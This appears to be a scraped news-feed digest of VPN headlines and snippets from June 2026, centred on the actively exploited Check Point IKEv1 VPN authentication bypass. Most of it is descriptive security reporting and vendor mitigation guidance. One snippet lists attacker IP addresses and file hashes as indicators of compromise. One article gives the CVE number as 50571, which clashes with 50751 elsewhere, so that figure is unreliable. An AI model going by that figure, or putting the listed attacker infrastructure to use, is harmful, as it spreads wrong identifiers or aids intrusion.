DS-Lite angeschlossen ist, nicht erreichen. In diesem Fall können Sie den Provider fragen, ob er Ihrem Anschluss eine IPv4-Adresse zuteilen kann – dieser Service kostet aber meist extra. Sie können allerdings auch probieren, mit dem Client eine Verbindung per Mobilfunk aufzubauen – zum Beispiel, indem Sie sie ihm per Smartphone-Tethering zur Verfügung stellen. Die meisten deutschen Mobilfunk-Provider nutzen Dual-Stack, sodass der Client über diesen Weg per IPv6 den Router zu Hause erreichen kann. Lesetipp: So richten Sie in 5 Schritten ein sicheres Heimnetzwerk ein – auch ohne IT-Wissen

Marking Your Own Homework (Check Point Remote Access VPN IKEv1 Authentication Bypass CVE-2026-50751)

Fri, 12 Jun 2026 07:17:20 +0200

It is yet another day in this parallel universe of security, where the devices we bolt onto the edge of our networks to keep the bad people out are, with remarkable consistency, the exact thing that let the bad people in.While we’ve seemingly had a breather from

How to choose the right VPN settings for stable streaming during high-traffic events like the 2026 World Cup

Thu, 11 Jun 2026 20:24:36 +0200

By default, your VPN might not offer optimal performance for streaming during high-traffic events like the World Cup — these are the settings you should switch to.

Norton VPN dropped its price just in time for the World Cup — secure your stream for less than $4 a month

Thu, 11 Jun 2026 19:45:14 +0200

Score big with Norton VPN's World Cup price drop

Missing your Proton VPN Firefox add-on? You'll have to use the desktop app for now

Thu, 11 Jun 2026 18:11:47 +0200

Proton VPN's Firefox extension has been temporarily removed from the Mozilla Add-ons store due to review requirements. Users are encountering loading errors, but core functionality is still available via the desktop app or Chromium-based browsers.

CVE-2026-11604 | OpenVPN ovpn-dco-win up to 2.5.8 Epoch Key Generator buffer size (WID-SEC-2026-1892)

Thu, 11 Jun 2026 16:55:41 +0200

A vulnerability was found in OpenVPN ovpn-dco-win up to 2.5.8 and classified as problematic. This affects an unknown part of the component Epoch Key Generator. Such manipulation leads to incorrect calculation of buffer size. This vulnerability is uniquely identified as CVE-2026-11604. Local access is required to approach this attack. No exploit exists.

Browse securely, without limits — Mozilla scraps data cap on Firefox's free VPN for the whole summer

Thu, 11 Jun 2026 17:00:50 +0200

Mozilla is making the free built-in VPN in Firefox unlimited for the summer, removing the 50GB monthly cap and opening up 28 country locations until August 31.

ExpressVPN becomes an official supporter of the FIFA World Cup 2026 in biggest sports deal yet — and gives away over 50 premium tickets

Thu, 11 Jun 2026 13:30:48 +0200

ExpressVPN has announced its biggest sports partnership ever, becoming the Official Tournament Supporter for the FIFA World Cup 2026. With cyber threats expected to spike, your digital defense matters more than ever.

[NEU] [UNGEPATCHT] [mittel] OpenVPN: Schwachstelle ermöglicht Denial of Service

Thu, 11 Jun 2026 13:25:53 +0200

Ein lokaler Angreifer kann eine Schwachstelle in OpenVPN ausnutzen, um einen Denial of Service Angriff durchzuführen.

PAN-OS-Bypass gewährt VPN-Zugang ohne Zugangsdaten

Thu, 11 Jun 2026 07:00:00 +0200

Eine Schwachstelle im GlobalProtect-Portal und -Gateway von PAN-OS (CVE-2026-0257) erlaubt das Fälschen von Authentifizierungs-Cookies. Angreifer bauen damit ohne gültige Zugangsdaten eine VPN-Verbindung ins interne Netz auf. Palo Alto Networks bestätigt aktive Angriffe, die CISA hat die Lücke in den KEV-Katalog aufgenommen.

PAN-OS-Bypass gewährt VPN-Zugang ohne Zugangsdaten - Security-Insider

Thu, 11 Jun 2026 07:07:14 +0200

Täglich die wichtigsten Infos zur IT-Sicherheit ... Mit Klick auf „Newsletter abonnieren“ erkläre ich mich mit der Verarbeitung und Nutzung meiner Daten ...

Best VPNs for Usenet to Stay Safe and Anonymous

Wed, 10 Jun 2026 13:49:51 +0200

When people think about downloading online files, their thoughts tend to head towards torrenting fairly quickly. In recent years, torrenting has become the default method of seeking out and downloading files, both legal and illegal, on the internet. But for those in the know, finding the best VPN for Usenet is often the first priority […] The post Best VPNs for Usenet to Stay Safe and Anonymous appeared first on AddictiveTips.

Surfshark Test 2026 – VPN für Windows 11 im ausführlichen Praxistest - WindowsPower.de

Wed, 10 Jun 2026 15:32:00 +0200

Das VPN-Netzwerk umfasst über 4.500 Server in 100 Ländern, betrieben ausschließlich auf 10-Gbit/s-Hardware. Was Surfshark von vielen Mitbewerbern ...

7 in 10 World Cup football fans are ready to put their digital privacy at risk, warns ExpressVPN

Wed, 10 Jun 2026 16:59:57 +0200

With the 2026 World Cup on the horizon, an ExpressVPN survey finds that the majority of football fans are unwittingly exposing themselves on public Wi-Fi. Here's how to stay safe.

Major Russian mobile provider Beeline launches 'whitelist VPN' for Netflix and Spotify

Wed, 10 Jun 2026 15:34:20 +0200

Russian telecom giant Beeline has introduced a built-in "whitelist VPN," granting users direct access to Western streaming and gaming platforms that suspended their operations in the country.

Traveling to North America for the World Cup? Boost your digital privacy and cut down on roaming fees with this VPN and eSIM combo

Wed, 10 Jun 2026 13:14:47 +0200

Smart privacy meets affordable data

NordVPN's Saily eSIM offers a US phone number for $1 a month

Wed, 10 Jun 2026 13:02:11 +0200

You now can get a US phone number with NordVPN's Saily eSIM app.

Fake X-VPN installers found to spread credential-stealing malware — here's how to stay safe

Wed, 10 Jun 2026 11:30:44 +0200

Researchers found a trojanized X-VPN installer used to deploy STX RAT malware. X-VPN itself was not breached, and only attacker-hosted downloads are affected.

Mozilla Firefox: Firefox bietet unbegrenztes VPN im Sommer

Wed, 10 Jun 2026 10:30:02 +0200

Mozilla hebt das Datenlimit für den integrierten VPN-Dienst im Firefox-Browser vorübergehend auf und erweitert die Serverauswahl. (VPN, Firefox)

Kostenloses VPN: Firefox hebt bis Ende August alle Datenlimits auf

Wed, 10 Jun 2026 10:10:00 +0200

Mozilla wertet das in Firefox integrierte VPN massiv auf und streicht das Datenlimit von 50 Gigabyte. Bis Ende August 2026 surfen Nutzer komplett unbegrenzt über 28 Server-Standorte weltweit. Ein kostenloses Konto reicht als Voraussetzung aus. (Weiter lesen)

CVE-2026-50751: Check Point zeigt VPN-Bypass gegen IKEv1 mit hoher Kritikalität

Wed, 10 Jun 2026 09:01:37 +0200

LONDON (IT BOLTWISE) – Check Point warnt vor aktiver Ausnutzung einer kritischen Schwachstelle in Remote-Access-/Mobile-Access-VPNs, die auf IKEv1 setzen. Angreifer können demnach die Passwortauthentifizierung umgehen und dennoch eine VPN-Verbindung aufbauen, ohne gültige Zugangsdaten. Betroffen sind u. a. Security Gateways und Firewalls bestimmter R82/R81/R80-Versionen, sofern IKEv1 aktiv ist und keine Maschinezertifikate gefordert werden. Die Attacken sollen […] ... den vollständigen Artikel »CVE-2026-50751: Check Point zeigt VPN-Bypass gegen IKEv1 mit hoher Kritikalität« lesen Dieser Beitrag CVE-2026-50751: Check Point zeigt VPN-Bypass gegen IKEv1 mit hoher Kritikalität erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Check Point Warning: Actively Exploited VPN Zero-Day Linked to Qilin Ransomware

Tue, 09 Jun 2026 19:34:29 +0200

Check Point Warning: Actively Exploited VPN Zero-Day Linked to Qilin Ransomware

Tue, 09 Jun 2026 22:34:11 +0200

Check Point says VPN zero-day CVE-2026-50751 was exploited by a Qilin-linked actor, prompting emergency hotfixes and a CISA patch deadline. The post Check Point Warning: Actively Exploited VPN Zero-Day Linked to Qilin Ransomware appeared first on TechRepublic. This article has… Read more → The post Check Point Warning: Actively Exploited VPN Zero-Day Linked to Qilin Ransomware appeared first on IT Security News.

Should I use a VPN to watch the World Cup?

Tue, 09 Jun 2026 20:52:32 +0200

Should you use a VPN to watch the World Cup? A virtual private network will take your viewing experience to the next level this summer.

Check Point warnt: Angreifer umgehen VPN-Authentifizierung | heise online

Tue, 09 Jun 2026 20:23:57 +0200

Nach erfolgreichen Angriffen haben die IT-Sicherheitsforscher zudem Qilin-Ransomware-Binärdateien gefunden und Download-Versuche von bösartigen ELF- ...

CISA gives US federal agencies three days to fix a VPN bug under attack by a ransomware gang

Tue, 09 Jun 2026 20:04:40 +0200

Check Point said hackers broke into dozens of organizations by exploiting a VPN bug in several of its products used across the government. This article has been indexed from Security News | TechCrunch Read the original article: CISA gives US… Read more → The post CISA gives US federal agencies three days to fix a VPN bug under attack by a ransomware gang appeared first on IT Security News.

Passwort-Bypass bei Check Point: Hacker greifen VPN-Systeme an - it-daily.net

Tue, 09 Jun 2026 18:43:37 +0200

Eine Logiklücke in VPNs von Check Point (CVE-2026-50751) erlaubt Passwörter zu umgehen. Die Schwachstelle wird aktiv für Ransomware-Angriffe ...

CISA gives US federal agencies three days to fix a VPN bug under attack by a ransomware gang

Tue, 09 Jun 2026 19:40:08 +0200

Check Point said hackers broke into dozens of organizations by exploiting a VPN bug in several of its products used across the government.

Mozilla spendiert Firefox-Nutzern im Sommer unlimitiertes VPN

Tue, 09 Jun 2026 18:30:28 +0200

Mozilla dreht beim hauseigenen VPN im Firefox-Browser für die Sommermonate auf. Normalerweise ist der integrierte Dienst auf ein monatliches Datenvolumen von 50 Gigabyte begrenzt. Bis zum 31. August fällt diese Beschränkung komplett weg, sodass der Browser-Traffic ohne Limit verschlüsselt werden...Zum Beitrag: Mozilla spendiert Firefox-Nutzern im Sommer unlimitiertes VPN Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads Auf dem Laufenden bleiben? Fügt uns doch bei Google als bevorzugte Quelle hinzu!

Browse more privately all summer with Firefox’s free built-in VPN

Tue, 09 Jun 2026 17:58:16 +0200

For a limited time, where the VPN is available, users can get unlimited VPN bandwidth in Firefox – up from the 50 gigabytes monthly limit — plus access to over 25 country locations to browse from. Don’t have Firefox yet? Try it now. Firefox’s free built-in VPN usually gives eligible users 50 GB of free […] The post Browse more privately all summer with Firefox’s free built-in VPN appeared first on The Mozilla Blog.

Russia’s solution to its VPN crackdown breaking the internet? A state-owned VPN

Tue, 09 Jun 2026 17:53:38 +0200

Russia's internet regulator, Roskomnadzor, has a unique solution for the problems caused by its own VPN crackdown: creating a state-controlled VPN. The plan is meant to restore access to vital developer tools, but the IT community fears it could become a tool for surveillance.

VPN reicht aus, sagt ITSB

Tue, 09 Jun 2026 15:07:40 +0200

KI-Generierte Apps werden im internen Netzwerk bereitgestellt, zum Teil mit erheblichen Sicherheitsmängeln. - Passwörter ohne Verschlüsselung in DB - Apps mit Zugriff auf alle Datenbanken (Data Catalog) ganz ohne Passwort „damit KI-Agent besser drauf zugreifen kann“ - Vanilla PHP und Vanilla JS anstatt Frameworks (XSS ohne Probleme möglich) - Wenn dann doch Username + Passwort dann kann man das Cookie einfach klauen, oder sich selbst zum Admin machen - Manche der Apps werden von allen MA genutzt, täglich - Plain HTML als interne Webseiten - Jeder der möchte kann mit KI eigene Apps bereitstellen, ohne Review. Also auch jmd der gar kein fullstack kann oder nicht mal coden. - Code Review? brauchen wir nicht. - KI fixt jetzt alles - Teile der Infra sind KRITIS ITSB sagt „Spiel dich nicht so auf, VPN reicht und dieser Teil der IT ist auch nicht KRITIS“. Was sagt ihr? Reicht VPN? submitted by /u/Safe_Article802 [link] [comments]

Apple’s WWDC upgrades might protect your phone — this VPN deal will secure your connection

Tue, 09 Jun 2026 15:44:41 +0200

Apple is always keen to let you know about its privacy and security tools, but it’s still worth protecting your device with this VPN deal

Check Point says VPN attacks caused by Qilin ransomware group — who had a month's head start on them

Tue, 09 Jun 2026 14:58:11 +0200

A month-old VPN bug was finally fixed, but not until after Qilin had a field day with it.

Check Point warns of ransomware-linked attacks exploiting outdated VPN protocol

Tue, 09 Jun 2026 13:59:17 +0200

Check Point has issued emergency hotfixes for a pair of vulnerabilities affecting VPN deployments that still use the deprecated Internet Key Exchange version 1 (IKEv1) protocol, warning that one of the flaws is already being exploited in the wild. The more serious issue allows attackers to establish VPN sessions without a valid password, potentially giving them a foothold inside corporate networks. According to the company, attackers have been exploiting the vulnerability since at least early May, with activity accelerating in recent weeks. “To date, the observed exploitation has been limited to a few dozen targeted organizations globally,” Lotem Finkelstein, vice president of research at Check Point, said in a security blog post. “One case involved confirmed post-compromise activity associated with a Qilin ransomware affiliate.” The vulnerabilities affect customers using Remote Access VPN, Mobile Access VPN, and certain Spark Firewall products configured for IKEv1. While the said protocol has been considered legacy technology for years, it remains enabled in some environments for compatibility reasons. Check Point is urging affected customers to apply the newly released hotfixes immediately and, where possible, migrate from IKEv1 to the newer IKEv2 protocol. The deprecated protocol became an active risk The exploited bug, tracked as CVE-2026-50571, affects deployments that continue to accept IKEv1-based remote access connections. According to Check Point, attackers can exploit a logic oversight in how Remote Access and Mobile Access components validate certificates during the authentication process. Exploitation allows an unauthenticated attacker to establish a VPN connection without supplying a valid user password. While additional steps may be required to access internal resources or escalate privileges, security researchers note that bypassing the VPN login barrier provides attackers with a significant foothold inside targeted environments. The vulnerability was put under the “Improper Authentication” CWE tagged at CWE-287, with a CVSS score of 9.3 assigned to it. Affected Check Point Quantum software platform versions, which run on the Gaia operating system powering all Check Point products, include R80.20.X (EOS), R80.40 (EOS), R81 (EOS), R81.10 (EOS), R81.10.X, R81.20, R82, R82.00.X, R82.10. The second vulnerability, CVE-2026-50752, emerged during a broader security review conducted as part of Check Point’s investigation into the improper authentication flaw. Researchers reportedly used the company’s BLAST agentic application security platform to analyze the affected VPN components, leading to the discovery of additional weaknesses in certificate validation logic. Unlike CVE-2026-50571, the newly identified issue does not allow direct authentication bypass. Instead, it could enable a man-in-the-middle attacker to interfere with site-to-site VPN communications if specific conditions are met. This flaw received a CVSS score of 7.4, with no exploitation attempts observed in the wild yet. Mitigations and patches issued Affected organizations have received a set of resolutions to help with the problem, starting with an attack detection technique. “Search your Check Point SmartConsole logs for possible VPN certificate authentication attempts associated with the observed attacker infrastructure and certificate subject names,” Check Point said in an advisory that shared SmartConsole queries for scans around the time range, attacker IP address, and VPN/IKE activities. Additionally, the company listed three mitigation tips for protection outside and beyond patches. These include removing support for legacy Remote Access client connections, configuring Global properties for Remote Access VPN authentication to IKEv2 only, and setting the machine certificate authentication as mandatory. Lastly, and most effectively, the company issued a string of downloadable hotfixes corresponding to each affected version, which customers can download and apply for complete and immediate protection.

Windscribe now accepts cash for VPN subscriptions — but admits the process is 'the slowest, riskiest way to pay'

Tue, 09 Jun 2026 13:46:45 +0200

Windscribe has officially added a pay-by-cash option for its 1-year Pro subscriptions. But while it champions the anonymity of mailing physical money, the provider openly admits the method is slow, risky, and far from recommended for the average user.

NordVPN lands on Meta Horizon — and VR privacy just got a whole lot easier

Tue, 09 Jun 2026 13:03:42 +0200

NordVPN is the third VPN to enter the metaverse, letting Quest users install a full VPN directly on their headset to encrypt traffic and mask their IP in VR.

Passwort-Bypass bei Check Point: Hacker greifen VPN-Systeme an - it-daily.net

Tue, 09 Jun 2026 12:48:32 +0200

Eine Logiklücke in VPNs von Check Point (CVE-2026-50751) erlaubt Passwörter zu umgehen. Die Schwachstelle wird aktiv für Ransomware-Angriffe ...

SME Cybersecurity and ransomware risk: What the Europol VPN takedown means for UK SMEs

Tue, 09 Jun 2026 07:00:13 +0200

Image Credit: Julos via Magnific Latest Posts from SECURUS Communications FIREWALLS SMECYBERIINSIGHTS Do UK SMEs... The post SME Cybersecurity and ransomware risk: What the Europol VPN takedown means for UK SMEs appeared first on SME Cybersecurity News | SMECYBERInsights.co.uk.

Passwort-Bypass bei Check Point: Hacker greifen VPN-Systeme an

Tue, 09 Jun 2026 12:42:00 +0200

Eine Logiklücke in Check-Point-VPNs (CVE-2026-50751) erlaubt Passwörter zu umgehen. Die Schwachstelle wird aktiv für Ransomware-Angriffe ausgenutzt. Tags: #Check Point | #Cyber Crime | #VPN

heise+ | WireGuard-Netze leicht im Griff mit Netmaker als VPN-Verwalter

Tue, 09 Jun 2026 12:00:00 +0200

Viele Clients, viel Konfigurationsmühe? Nicht mit Netmaker. Wir zeigen, wie Sie den VPN-Koordinator für Ihr WireGuard-Netz einspannen.

Check Point VPN Zero-Day Exploited in Qilin Ransomware Attacks

Tue, 09 Jun 2026 12:04:55 +0200

The authentication bypass vulnerability allows attackers to establish VPN connections without a valid password. The post Check Point VPN Zero-Day Exploited in Qilin Ransomware Attacks appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the original article:… Read more → The post Check Point VPN Zero-Day Exploited in Qilin Ransomware Attacks appeared first on IT Security News.

[NEU] [hoch] Check Point Remote Access VPN und Mobile Access: Mehrere Schwachstellen ermöglichen Umgehen von Sicherheitsvorkehrungen

Tue, 09 Jun 2026 11:40:54 +0200

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Check Point Remote Access VPN und Check Point Mobile Access ausnutzen, um Sicherheitsvorkehrungen zu umgehen.

Check Point VPN Zero-Day Exploited in Qilin Ransomware Attacks

Tue, 09 Jun 2026 11:47:10 +0200

Check Point warnt: Angreifer umgehen VPN-Authentifizierung

Tue, 09 Jun 2026 10:42:00 +0200

Angreifer missbrauchen eine kritische Sicherheitslücke in Check-Point-VPN-Software. Sie können dadurch die Authentifizierung umgehen.

Check Point warnt: Angreifer umgehen VPN-Authentifizierung

Tue, 09 Jun 2026 10:42:00 +0200

Angreifer missbrauchen eine kritische Sicherheitslücke in Check-Point-VPN-Software. Sie können dadurch die Authentifizierung umgehen.

CISA gives feds 3 days to patch Check Point VPN bug exploited as zero-day

Tue, 09 Jun 2026 10:18:39 +0200

CISA has ordered U.S. government agencies to secure their Check Point Remote Access VPN and Mobile Access deployments against a critical vulnerability exploited in zero-day attacks by Qilin ransomware affiliates. [...]

Version 1.0: Check Point Remote Access VPN und Mobile Access - Aktiv ausgenutzte Schwachstelle ermöglicht Aufbau von VPN-Sessions ohne Authentifizierung

Tue, 09 Jun 2026 09:20:00 +0200

Check Point VPN 0-Day Exploited to Deploy Ransomware Attacks

Tue, 09 Jun 2026 08:48:05 +0200

Check Point Research has disclosed active exploitation of CVE-2026-50751, a critical authentication bypass vulnerability (CVSS 9.3) affecting Check Point Remote Access VPN and Mobile Access deployments. The flaw targets a deprecated IKEv1 key exchange protocol and has already been linked to a confirmed Qilin ransomware intrusion. CVE-2026-50751 stems from a logic flaw in the certificate validation […] The post Check Point VPN 0-Day Exploited to Deploy Ransomware Attacks appeared first on Cyber Security News.

Check Point VPN Zero-Day Under Active Exploitation by Ransomware Operators

Tue, 09 Jun 2026 07:22:41 +0200

Check Point has disclosed active in-the-wild exploitation of a critical authentication bypass vulnerability, tracked as CVE-2026-50751, impacting Remote Access VPN and Mobile Access deployments configured with the deprecated IKEv1 key exchange protocol. The flaw, assigned a CVSS score of 9.3, allows unauthenticated attackers to establish VPN sessions without valid credentials by exploiting a logic flaw […] The post Check Point VPN Zero-Day Under Active Exploitation by Ransomware Operators appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Check Point VPN Zero-Day Under Active Exploitation by Ransomware Operators

Tue, 09 Jun 2026 07:34:13 +0200

Check Point has disclosed active in-the-wild exploitation of a critical authentication bypass vulnerability, tracked as CVE-2026-50751, impacting Remote Access VPN and Mobile Access deployments configured with the deprecated IKEv1 key exchange protocol. The flaw, assigned a CVSS score of 9.3,… Read more → The post Check Point VPN Zero-Day Under Active Exploitation by Ransomware Operators appeared first on IT Security News.

Check Point VPN: Kritische Lücke seit Mai aktiv ausgenutzt - BornCity

Tue, 09 Jun 2026 06:51:07 +0200

... Hacker und Datendiebe absichern. 5 sofort umsetzbare Schutzmaßnahmen entdecken. Monatelange Angriffe vor dem Fix. Die Hauptschwachstelle trägt die ...

Critical Check Point VPN Flaw Exploited to Bypass Passwords in IKEv1 Setups

Tue, 09 Jun 2026 05:17:35 +0200

Ravie LakshmananJun 08, 2026Vulnerability / Network Security Check Point has warned of active exploitation of a critical vulnerability impacting Remote Access VPN and Mobile Access deployments that are configured to use the deprecated IKEv1 key exchange protocol. The vulnerability, tracked as CVE-2026-50751 (CVSS score: 9.3), is a case of a logic flow weakness in certificate […]

CVE-2026-10872 | Shibby Tomato 1.28.0000 Web UI /sbin/rc start_vpnserver os command injection

Tue, 09 Jun 2026 03:52:54 +0200

A vulnerability was found in Shibby Tomato 1.28.0000. It has been rated as critical. This issue affects the function start_vpnserver of the file /sbin/rc of the component Web UI. Performing a manipulation results in os command injection. This vulnerability is identified as CVE-2026-10872. The attack can be initiated remotely. Additionally, an exploit exists. This project is superseded by FreshTomato.

CVE-2026-35058 | OpenVPN up to 2.6.19/2.7.1 Packet Length assertion (EUVD-2026-35197)

Tue, 09 Jun 2026 02:31:14 +0200

A vulnerability was found in OpenVPN up to 2.6.19/2.7.1. It has been classified as problematic. Impacted is an unknown function of the component Packet Length Handler. Performing a manipulation results in reachable assertion. This vulnerability is reported as CVE-2026-35058. The attack is possible to be carried out remotely. No exploit exists.

Schwachstelle CVE-2026-50751 wird bei Check Point-Produkten in VPN-Verbindungen angegriffen

Mon, 08 Jun 2026 23:29:23 +0200

Anbieter Check Point hat eine kritische Schwachstelle (CVE-2026-50751) in seinen VPN-Produkten öffentlich gemacht. Die Sicherheitslücke ermöglicht bei bestimmten VPN-Konfigurationen einen mobilen Zugriff eine Umgehung der Authentifizierung. Die Schwachstelle wird ausgenutzt, aber es gibt einen Patch. Die Information ist mir bereits … Weiterlesen → Quelle

Check Point VPN Flaw Exploited Since Early May

Mon, 08 Jun 2026 22:28:35 +0200

A newly discovered, critical zero-day vulnerability is under attack; a Qilin ransomware affiliate has been blamed for at least one incident.

Check Point VPN 0-day Vulnerability Exploited in the Wild to Deploy Ransomware

Mon, 08 Jun 2026 21:34:02 +0200

Check Point Research has uncovered active exploitation of CVE-2026-50751, a critical authentication bypass vulnerability (CVSS 9.3) in Check Point Remote Access VPN and Mobile Access deployments, with confirmed post-compromise activity linked to the Qilin ransomware gang. CVE-2026-50751 targets deployments configured… Read more → The post Check Point VPN 0-day Vulnerability Exploited in the Wild to Deploy Ransomware appeared first on IT Security News.

Critical Check Point VPN Zero-Day Exploited in the Wild (CVE-2026-50751)

Mon, 08 Jun 2026 19:05:16 +0200

OverviewOn June 8, 2026, Check Point published a security advisory for CVE-2026-50751, a critical authentication bypass vulnerability affecting Check Point Remote Access VPN, Mobile Access, and Spark Firewall products. The vulnerability affects deployments configured to use the deprecated IKEv1 key exchange protocol where gateways accept legacy Remote Access clients and do not require a machine certificate for connections.CVE-2026-50751, classified as improper authentication (CWE-287), has a CVSS score of 9.3. The vulnerability stems from a logic flow weakness in how Remote Access and Mobile Access components validate certificates during IKEv1 key exchange; successful exploitation allows an unauthenticated attacker to establish a VPN session without providing valid credentials. Per the vendor, additional post-authentication activity is required to access internal resources or escalate privileges.Check Point has indicated that CVE-2026-50751 is being actively exploited in the wild, with observed activity dating back to May 7, 2026 and an increase in early June. The vendor characterizes the campaign as limited in scope, affecting several dozen organizations. At least one incident has been linked to a Qilin ransomware affiliate, which Check Point assesses with medium confidence.Separately, during its investigation Check Point identified a related vulnerability, CVE-2026-50752 (CVSS 7.4), in the same IKEv1 code path that could enable a man-in-the-middle attack against site-to-site VPN tunnels under certain configurations. No exploitation of CVE-2026-50752 has been observed.Check Point VPN products have been targeted by zero-day vulnerabilities in the past. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was exploited in the wild and subsequently added to the CISA Known Exploited Vulnerabilities (KEV) catalog. Organizations running affected Check Point products are urged to apply the available hot fixes and follow the vendor guidance to remediate these issues.Mitigation guidanceCheck Point has released hotfixes to remediate CVE-2026-50751. Affected organizations should apply the available updates on an emergency basis, without waiting for a regular patch cycle to occur.The following products and versions are affected (Remote Access VPN, Mobile Access / SSL VPN, Spark Firewall):R80.20.X (End of Support)R80.40 (End of Support)R81 (End of Support)R81.10 (End of Support)R81.10.XR81.20R82R82.00.XR82.10Notably, four of the nine affected version branches (R80.20.X, R80.40, R81, R81.10) have reached End of Support. Organizations still running these versions should prioritize migration to a supported release.For organizations unable to immediately apply the hotfix, Check Point has provided the following alternative mitigations:Remove support for the legacy remote access clientConfigure global properties for Remote Access VPN authentication to IKEv2 onlySet machine certificate authentication as mandatoryEnable IPS and download the latest signaturesRapid7 strongly recommends looking for signs of compromise even after the hotfix has been applied. Per Check Point's advisory, incident response teams should prioritize forensic log audits and configuration reviews starting from May 7, 2026, the earliest known date of exploitation.For the latest mitigation guidance, please refer to the vendor advisory.Rapid7 customersExposure Command, InsightVM, and NexposeExposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-50751 with a vulnerability check expected to be available in the June 9 content release.Indicators of compromiseCheck Point has published the following indicators associated with the CVE-2026-50751 exploitation campaign. The attacker infrastructure consists of VPS hosts from several providers (Kaupo Cloud HK, Shock Hosting, Vultr Holdings), and Check Point notes that in some cases, the VPS region matched the geography of the targeted organization.IP addresses:45.77.149[.]152209.182.225[.]13638.60.157[.]139162.33.177[.]10145.76.26[.]42144.208.127[.]15538.54.88[.]20138.54.107[.]16766.42.99[.]200File hashes (MD5):52fda5c1b9704544f32ee98d9060e68951d39aa39478beeac94f2d12f682ecceCheck Point observed post-exploitation attempts to retrieve ELF payloads from attacker-controlled servers, and identified ties to the Qilin ransomware operation based on binary analysis. For the full and most current list of IOCs, please refer to the vendor advisory.UpdatesJune 8, 2026: Initial publication.

China Steps Up Crackdown on Unauthorised VPN Use, Report

Mon, 08 Jun 2026 19:43:25 +0200

Fresh data shows China has tightened its grip on unauthorized virtual private networks. Residents now face growing difficulty accessing foreign websites and apps. The Global Public Policy Institute examined internet traffic patterns in northwestern China’s Xinjiang region. The team reviewed more than one hundred thousand internal documents from a local tech firm called Geedge Networks. […] The post China Steps Up Crackdown on Unauthorised VPN Use, Report appeared first on PrivacySavvy.

Ransomware crims got a month-long head start on Check Point VPN 0-day that now has a fix

Mon, 08 Jun 2026 19:34:23 +0200

Scumbags, including a Qilin ransomware affiliate, began hitting this hole May 7 This article has been indexed from www.theregister.com – Articles Read the original article: Ransomware crims got a month-long head start on Check Point VPN 0-day that now has… Read more → The post Ransomware crims got a month-long head start on Check Point VPN 0-day that now has a fix appeared first on IT Security News.

Ransomware crims got a month-long head start on Check Point VPN 0-day that now has a fix

Mon, 08 Jun 2026 19:10:31 +0200

Scumbags, including a Qilin ransomware affiliate, began hitting this hole May 7

Check Point VPN 0-day Vulnerability Exploited in the Wild to Deploy Ransomware

Mon, 08 Jun 2026 19:18:01 +0200

Check Point Research has uncovered active exploitation of CVE-2026-50751, a critical authentication bypass vulnerability (CVSS 9.3) in Check Point Remote Access VPN and Mobile Access deployments, with confirmed post-compromise activity linked to the Qilin ransomware gang. CVE-2026-50751 targets deployments configured to use the deprecated IKEv1 key exchange protocol. By exploiting a logic flaw in certificate […] The post Check Point VPN 0-day Vulnerability Exploited in the Wild to Deploy Ransomware appeared first on Cyber Security News.

Fake X-VPN installer deploys STX RAT malware on unsuspecting users

Mon, 08 Jun 2026 18:35:50 +0200

An active malware distribution campaign employs a fake X-VPN installer to deploy the STX RAT in memory and steal credentials from victims. The campaign was documented by Cyderes threat researchers, who say the operation remained active after earlier disclosures, with the perpetrators rotating infrastructure and continuing the distribution of new malware-laced software packages. The investigation … The post Fake X-VPN installer deploys STX RAT malware on unsuspecting users appeared first on CyberInsider.

ExpressVPN Is on Sale for $40: A Great Deal for Remote Teams

Mon, 08 Jun 2026 18:05:48 +0200

For remote workers and IT professionals juggling multiple devices, this VPN deal is worth a serious look. The post ExpressVPN Is on Sale for $40: A Great Deal for Remote Teams appeared first on TechRepublic. This article has been indexed… Read more → The post ExpressVPN Is on Sale for $40: A Great Deal for Remote Teams appeared first on IT Security News.

Check Point warnt vor aktiv genutzter VPN-Lücke (CVE-2026-50751) - Security-Insider

Mon, 08 Jun 2026 16:31:40 +0200

Supportende von Windows Server 2016 & Windows 10 Enterprise LTSC 2021. Windows Server 2016 wird 2027 zur Sicherheitslücke. Hotfix sollte sofort ...

Critical Check Point VPN Flaw Exploited to Bypass Passwords in IKEv1 Setups

Mon, 08 Jun 2026 17:32:07 +0200

Check Point has warned of active exploitation of a critical vulnerability impacting Remote Access VPN and Mobile Access deployments that are configured to use the deprecated IKEv1 key exchange protocol. The vulnerability, tracked as CVE-2026-50751 (CVSS score: 9.3), is a… Read more → The post Critical Check Point VPN Flaw Exploited to Bypass Passwords in IKEv1 Setups appeared first on IT Security News.

Critical Check Point VPN Flaw Exploited to Bypass Passwords in IKEv1 Setups

Mon, 08 Jun 2026 16:17:39 +0200

Check Point has warned of active exploitation of a critical vulnerability impacting Remote Access VPN and Mobile Access deployments that are configured to use the deprecated IKEv1 key exchange protocol. The vulnerability, tracked as CVE-2026-50751 (CVSS score: 9.3), is a case of a logic flow weakness in certificate validation that allows an unauthenticated remote attacker to bypass user

Check Point warnt vor aktiv ausgenutzter VPN-Schwachstelle

Mon, 08 Jun 2026 16:00:00 +0200

Check Point informiert Kunden über eine aktiv ausgenutzte Schwachstelle in bestimmten VPN-Konfigurationen. Die kritische Lücke CVE-2026-50751 betrifft VPN Remote Access und Mobile Access in Verbindung mit dem veralteten IKEv1-Schlüsselaustausch. Ein Hotfix steht bereit und schließt zusätzlich eine weitere VPN-Schwachstelle.

X-VPN proves its privacy credentials with new independent no-logs audit

Mon, 08 Jun 2026 15:46:03 +0200

X-VPN has officially passed an independent no-logs audit conducted by a Big Four firm, confirming it doesn't track, store, or monitor your online activity. Here's why it matters for your privacy.

ExpressVPN Is on Sale for $40: A Great Deal for Remote Teams

Mon, 08 Jun 2026 11:13:52 +0200

Check Point links VPN zero-day attacks to Qilin ransomware gang

Mon, 08 Jun 2026 15:05:16 +0200

Israeli cybersecurity company Check Point has released security updates to patch a critical flaw affecting Remote Access VPN and Mobile Access deployments, which was exploited in zero-day attacks. [...]

Qilin ransomware affiliate exploited Check Point VPN zero-day (CVE-2026-50751)

Mon, 08 Jun 2026 14:23:16 +0200

